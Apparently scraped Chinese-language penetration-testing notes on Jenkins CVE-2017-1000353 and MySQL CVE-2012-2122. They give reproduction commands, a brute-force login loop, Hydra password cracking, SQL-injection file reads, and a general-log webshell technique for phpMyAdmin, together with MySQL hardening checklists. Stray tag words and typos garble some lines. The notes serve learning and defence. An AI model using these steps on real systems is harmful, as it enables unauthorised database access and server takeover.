Jenkins
Jenkins是一個開源軟件項目,是基於Java開發的一種持續集成工具,用於監控持續重複的工做.php
JenkinsMiner加密貨幣挖礦軟件***我國某機構
https://paper.tuisec.win/detail/a67d6915379bb86java
序列化和反序列化
序列化就是把對象轉成字節流,便於保存在內存、文件、數據庫中;反序列化即逆過程,由字節流還原成對象。python
Jenkins-CI 遠程代碼執行漏洞mysql
全部Jenkins主版本均受到影響(包括<=2.56版本)
全部Jenkins LTS 均受到影響( 包括<=2.46.1版本)git
環境下載:https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353
復現:
生成序列化字符串
java -jar payload.jar jenkins_poc.ser "touch /tmp/jenkins_0day"github
發送數據包,執行命令
Python exploit.pyweb
安全加固sql
mysql 漏洞 CVE-20120-2122
輸入的密碼會與指望的正確密碼比較,因爲不正確的處理,也會使MySQL認爲兩個密碼是相同的。 也就是說只要知道用戶名,不斷嘗試就可以直接登入SQL數據庫,機率爲1/256
https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/
受影響版本
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.docker
CVE-2012-2122漏洞環境
docker-compose.yml
version: '2'
services:
mysql:
image: vulhub/mysql:5.5.23
ports:shell
啓動環境:
docker-compose up -d
CVE-2012-2122利用
Bash:
for i in seq 1 1000
; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
Metasploit:
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
Python:
#!/usr/bin/python import subprocess while 1: subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()
MySQL信息探測
1.nmap
2.auxiliary/scanner/mysql/mysql_version
3.Hydra爆破MySQL密碼
mysql注入利用
1.讀文件
2.讀數據庫密碼
3.在必定條件下能夠 into outfile into dumpfile
4.SQLAP 工具輔助注入
mysql安全加固
1.檢查是否避免運維帳號共享
2.檢查是否使用默認端口 (做用不大) 必定外網的時候必定限制ip訪問
3.檢查是否設置禁止mysql對本地文件存取 revoke file on . from 'user'@'127.0.0.1';
4.檢查test庫是否已經被刪除 (新版本的沒有這個庫了 )
show databases like 'test';
show database "test";
5.檢查默認管理員帳號是否已改名
update user set user="newUserName" where user="root";
6.設置mysql守護進程專用最小特權帳戶
ps -ef|grep "^mysql.$"
7.禁用mysql命令歷史記錄
將mysql_histfile 環境變量設置爲 /dev/null,.bash_profile,export
mysql)histfile=/dev/null
ln -s /dev/null $home/.mysql_history
8.備份策略 (最好備份到異地,本地不要保留,防止直接盜取備份文件)
9.確保僅管理員具備徹底數據庫訪問權限
網站配置不容許使用root權限
錯誤方式 grant all on . to user identifiend by 'mysqlpass';
正確方式 grant all on db1. to user identifiend by 'mysqlpass';
phpmyadmin
方式 1.弱口令問題 2.經過日誌獲取webshell
危害: 獲取數據庫信息
得到websehll
經過general log獲取webshell
mysql> show variables like '%general%';
mysql> set global general_log = on;
mysql> set global general_log_file ='網站路徑’;
mysql> select ‘<?php phpinfo(); ?>;
mysql> set global general_log_file =‘還原’; mysql> set global general_log = off;